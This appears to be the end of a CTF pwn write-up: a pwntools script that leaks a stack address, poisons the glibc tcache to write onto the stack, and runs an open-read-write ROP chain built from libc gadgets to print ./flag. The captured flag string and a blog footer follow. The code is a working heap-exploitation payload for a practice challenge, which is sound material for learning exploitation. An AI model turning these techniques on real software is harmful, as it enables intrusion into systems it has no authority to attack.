stack_addr=u64(r.recvuntil(b'\x7f')[-6:]+b'\x00\x00')-(0x758-0x5f0)
success("stack_addr------------>"+str(hex(stack_addr)))
p1=b'./flag\x00\x00'
pop_rax_ret=next(libc.search(asm('pop rax;ret')))
pop_rdi_ret=next(libc.search(asm('pop rdi;ret')))
pop_rsi_ret=next(libc.search(asm('pop rsi;ret')))
pop_rdx_ret=next(libc.search(asm('pop rdx;pop rbx;ret')))
syscall_ret=next(libc.search(asm('syscall;ret')))
p1+=p64(pop_rdi_ret)+p64(stack_addr-0x10)
p1+=p64(pop_rsi_ret)+p64(0)
p1+=p64(pop_rax_ret)+p64(2)
p1+=p64(syscall_ret)
p1+=p64(pop_rax_ret)+p64(0)
p1+=p64(pop_rdi_ret)+p64(3)
p1+=p64(pop_rdx_ret)+p64(0x30)*2
p1+=p64(pop_rsi_ret)+p64(stack_addr-0x300)
p1+=p64(syscall_ret)
p1+=p64(pop_rax_ret)+p64(1)
p1+=p64(pop_rdi_ret)+p64(1)
p1+=p64(pop_rsi_ret)+p64(stack_addr-0x300)
p1+=p64(syscall_ret)
edit_chunk(0,0x440,b'a'*0x1f8+p64(0x201)+p64(0)+b'\x00'*0x1f0+p64(0x301))
free_chunk(2)
free_chunk(1)
edit_chunk(0,0x440,b'a'*0x1f8+p64(0x201)+p64((heap_base>>12)^(stack_addr-0x10))+b'\x00'*0x1f0+p64(0x301))
add_chunk(0x1f0,'zlpzlp')
add_chunk(0x1f0,p1)
r.interactive()

flag{74c6886a-8821-499e-b8f8-249d816b47fc}

届ける言葉を今は育ててる
最后更新于 2024-05-19